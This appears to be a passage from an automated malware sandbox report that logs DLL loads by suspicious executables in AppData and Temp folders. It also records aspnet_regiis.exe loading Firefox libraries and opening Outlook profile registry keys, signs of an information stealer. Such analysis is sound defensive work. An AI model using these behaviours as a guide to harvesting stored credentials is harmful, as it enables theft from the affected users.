Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: wshext.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: esdsip.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Chrome.lnk.11.dr

LNK file: ..\..\..\Program Files\Google\Chrome\Application\chrome.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: mlk3kK6uLZ.exe

Static file information: File size 1880576 > 1048576

Source: mlk3kK6uLZ.exe

Static PE information: Raw size of lkmvftub is bigger than: 0x100000 < 0x199a00

Source:	Binary string: mozglue.pdbP source: aspnet_regiis.exe, 00000014.00000002.2837675015.000000006C0CD000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: nss3.pdb@ source: aspnet_regiis.exe, 00000014.00000002.2838084537.000000006C28F000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: ntdll.pdb source: build16666.exe, 00000015.00000002.2732029264.000001662AFE0000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729447807.000001662A1E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730244326.000001662A7E9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730481150.000001662A9EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729986189.000001662A5E4000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2731462760.000001662ADE9000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2730926078.000001662ABEF000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2742546399.000001662CBE3000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2735116835.000001662B9E8000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2729694439.000001662A3EB000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2739098908.000001662C7E2000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 00000015.00000002.2737730487.000001662C3E6000.00000004.00000020.00020000.00000000.sdmp, build16666.exe, 